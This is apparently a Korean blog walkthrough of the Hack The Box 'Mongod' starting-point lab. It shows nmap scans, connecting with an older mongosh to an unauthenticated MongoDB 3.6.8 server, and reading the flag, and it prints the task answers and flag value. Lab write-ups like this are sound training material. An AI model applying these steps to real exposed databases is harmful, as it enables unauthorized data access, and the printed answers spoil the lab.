[STARTING_POINT] Tier0 Mongod
Mongod

Task 1
-
정답 및 풀이
-
우선 머신이 열렸는지 icmp packet을 날려봅니다.
┌──(kali㉿kali)-[~] └─$ sudo nmap 10.129.228.30 -sn [sudo] password for kali: Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-18 19:34 +0900 Nmap scan report for 10.129.228.30 Host is up (0.21s latency). Nmap done: 1 IP address (1 host up) scanned in 0.77 seconds
host up이 결과로 온 것을 보아 머신이 잘 열린 것 같습니다.
-
다음으로 머신에 포트 스캐닝을 진행합니다. (모든 포트 확인, 서비스 버전 확인, 열린 포트 대상, 초당 2000패킷, Host Discovery skip)
┌──(kali㉿kali)-[~] └─$ sudo nmap 10.129.228.30 -p- -sV --open --min-rate 2000 -Pn Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-18 19:40 +0900 Nmap scan report for 10.129.228.30 Host is up (0.21s latency). Not shown: 65523 closed tcp ports (reset), 10 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) 27017/tcp open mongodb MongoDB 3.6.8 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 41.56 seconds -
현재 머신에는 tcp 22번과 27017번 포트가 열려있습니다.
문제의 정답은 2 (개) 입니다.
-
Task 2
-
정답 및 풀이
- 이번에는 포트를 지정해서 확인해보겠습니다.
┌──(kali㉿kali)-[~] └─$ sudo nmap 10.129.228.30 -p 27017 -sV --open --min-rate 2000 -Pn Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-18 19:47 +0900 Nmap scan report for 10.129.228.30 Host is up (0.21s latency). PORT STATE SERVICE VERSION 27017/tcp open mongodb MongoDB 3.6.8 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.43 seconds- tcp 27017 포트에서는 현재 MongoDB (version 3.6.8) 이 서비스 되고 있습니다.
정답은 MongoDB 3.6.8 입니다.
Task 3
-
정답 및 풀이

- 구글에 mongodb를 검색해보면, mongodb는 NoSQL 데이터 베이스로 분류된다고 설명합니다.
- NoSQL : SQL(관계형 데이터베이스)처럼 table, row, column 구조에 묶이지 않고 더 다양한 방식으로 데이터를 저장하는 데이터베이스 계열을 말합니다.
-
MongoDB : mongodb의 경우 문서 지향(Document-oriented) 데이터 베이스로,JOSB 비슷한 형태로 데이터를 저장합니다.
{ "name": "alice", "age": 20, "skills": ["python", "linux"] } -
이외에도 NoSQL 종류로 Key-Value(Redis), Column-family(Cassandra), Graph(Neo4j) 등이 있습니다.
-
MongoDB는 NoSQL 이므로 정답은 NoSQL 입니다.
Task 4
-
정답 및 풀이

- 구글에 mongodb shell을 입력하면 mongosh이라는 툴이 있는 것을 알 수 있습니다.
- 설치 방법은 다음과 같습니다.
-
https://www.mongodb.com/try/download/shell : 공식 링크에 접속하여 본인에게 맞는 아키텍쳐의 패키지를 다운로드합니다.

(Copy link 클릭 후 wget 명령으로 다운받아도 됩니다.)
-
다운 받은 파일(
.deb) 을 다음 명령으로 설치합니다.sudo dpkg -i mongodb-mongosh_2.8.1_amd64.debdpkg: Debian 계열에서 사용하는 패키지 관리 도구-i: install의 약어 (.deb패키지 파일을 직접 설치할 때 사용합니다.)
dpkg -i는 패키지 파일만 설치하기 때문에, 필요한 의존성 패키지가 부족하다면 에러가 발생할 수 있습니다. 그럴 경우sudo apt-get install -f로 오류가 생긴 의존성까지 설치하여 해결해줍니다.
-
설치가 잘 되었는지 확인합니다. (
mongosh —-version)┌──(kali㉿kali)-[~/Downloads] └─$ mongosh --version 2.8.1
-
문제의 정답은 mongosh 입니다.
Task 5
-
정답 및 풀이
-
타겟 머신의 mongodb 서버에 존재하는 데이터베이스를 확인하기 위해서 mongosh로 접속합니다.
mongosh --host <ip> --port <port>또는
mongosh "mongodb://<ip>:<port>"┌──(kali㉿kali)-[~/Downloads] └─$ mongosh "mongodb://10.129.228.30:27017" Current Mongosh Log ID: 69ba92520b3160c707d805da Connecting to: mongodb://10.129.228.30:27017/?directConnection=true&appName=mongosh+2.8.1 MongoServerSelectionError: Server at 10.129.228.30:27017 reports maximum wire version 6, but this version of the Node.js Driver requires at least 8 (MongoDB 4.2)하지만 접속이 안되는 모습을 볼 수 있는데, 오류를 보면 버전이 맞지 않아 접속에 실패했음을 알 수 있습니다.
서버에서 사용하는 mongdb의 버전이 클라이언트에서 사용하는 버전보다 낮아 프로토콜이 호환이 되지 않습니다. (wire version 6)
MongoDB의 릴리즈 노트를 확인해보면 버전 별로 사용된 Node.js 버전을 볼 수 있는데, 이와 비교하여 호환이 되는 mongosh 버전을 추가로 설치하여 접속을 해볼 수 있습니다. (2.3.x 버전 이하의 mongosh 사용)
저는 안전하게 2.3.0 버전을 사용해보기로 했습니다.
-
또다른 방법 (Docker)
다른 방법으로 서버 버전과 동일한 mongdb를 Docker에서 실행하여 mongodb client 로 접속을 시도해볼 수 있습니다.
sudo apt install docker-cli docker.io -y sudo docker run -it --rm mongo:3.6 mongo --host 10.129.3.133 --port 27017개인적으로 해당 방법이 조금 더 간편하다고 느꼈습니다. 하지만 mongodb client는 mongosh의 다양한 기능(AWS IAM/FLE 옵션 등등)을 사용하지 못한다는 단점이 있어서 과거 버전의 서비스를 타겟으로 하는게 아니라면 mongosh를 사용하는게 좋다고 느꼈습니다.
-
mongosh github : https://github.com/mongodb-js/mongosh/releases?page=2

여기서
.deb로 패키지를 덮어도 되겠지만,.tgz압축 파일로 받아 압축을 풀고 나온 바이너리를 직접 사용해서 접속을 해보았습니다. -
압축 해제
tar xvf mongosh-2.3.0-linux-x64.tgz -
바이너리 실행 (머신을 한 번 재실행 한거라 ip가 달라졌습니다.)
./mongosh-2.3.0-linux-x64/bin/mongosh mongodb://10.129.8.3:27017
┌──(kali㉿kali)-[~/tools] └─$ ./mongosh-2.3.0-linux-x64/bin/mongosh mongodb://10.129.8.3:27017 Current Mongosh Log ID: 69bb62e96b36cf9e885e739b Connecting to: mongodb://10.129.8.3:27017/?directConnection=true&appName=mongosh+2.3.0 Using MongoDB: 3.6.8 Using Mongosh: 2.3.0 mongosh 2.8.1 is available for download: https://www.mongodb.com/try/download/shell For mongosh info see: https://www.mongodb.com/docs/mongodb-shell/ To help improve our products, anonymous usage data is collected and sent to MongoDB periodically (https://www.mongodb.com/legal/privacy-policy). You can opt-out by running the disableTelemetry() command. ------ The server generated these startup warnings when booting 2026-03-19T01:55:30.947+0000: 2026-03-19T01:55:30.947+0000: ** WARNING: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine 2026-03-19T01:55:30.947+0000: ** See http://dochub.mongodb.org/core/prodnotes-filesystem 2026-03-19T01:55:33.549+0000: 2026-03-19T01:55:33.549+0000: ** WARNING: Access control is not enabled for the database. 2026-03-19T01:55:33.549+0000: ** Read and write access to data and configuration is unrestricted. 2026-03-19T01:55:33.549+0000: ------ test> -
위와 같이 정상적으로 접속되는 것을 확인할 수 있습니다.
-
문제의 정답을 확인하기 위해
help명령어로 도움말을 확인해보면,show databases또는show dbs로 모든 데이터 베이스를 볼 수 있다는 것을 알 수 있습니다.test> help Shell Help: use Set current database show 'show databases'/'show dbs': Print a list of all available databases. 'show collections'/'show tables': Print a list of all collections for current database. ...
그렇기에 이번 문제의 정답은 show dbs 입니다.
-
Task 6
-
정답 및 풀이
정답은 show collections 입니다.
- 도움말에서 확인 가능하며,
show tables도 동일한 동작을 합니다.
- 도움말에서 확인 가능하며,
Task 7
-
정답 및 풀이
정답은 db.flag.find() 입니다.
- mongodb 문서에서 해당 명령을 찾아볼 수 있습니다. https://www.mongodb.com/ko-kr/docs/manual/reference/method/db.collection.find/
- 기본적으로
db.<collection>.find()형태로 사용합니다. (find는 내부에 인자가 더 올 수 있습니다.)
Submit Flag
-
정답 및 풀이
우선 접속한 DB에 database 목록을 확인해보면,
test> show dbs admin 32.00 KiB config 72.00 KiB local 72.00 KiB sensitive_information 32.00 KiB users 32.00 KiB다음과 같은 database 들이 존재하는 것을 볼 수 있습니다.
이중에서 “sensitive_information”가 굉장히 수상합니다.
use명령어를 사용해 작업 DB를 선택해줍니다.test> use sensitive_information switched to db sensitive_information해당 DB에 collection 을 확인해보면,
sensitive_information> show collections flag운 좋게 바로 flag를 확인할 수 있었습니다.
sensitive_information> db.flag.find() [ { _id: ObjectId('630e3dbcb82540ebbd1748c5'), flag: '1b6e6fb359e7c40241b6d431427ba6ea' } ]정답 :
1b6e6fb359e7c40241b6d431427ba6ea
← ALL POSTS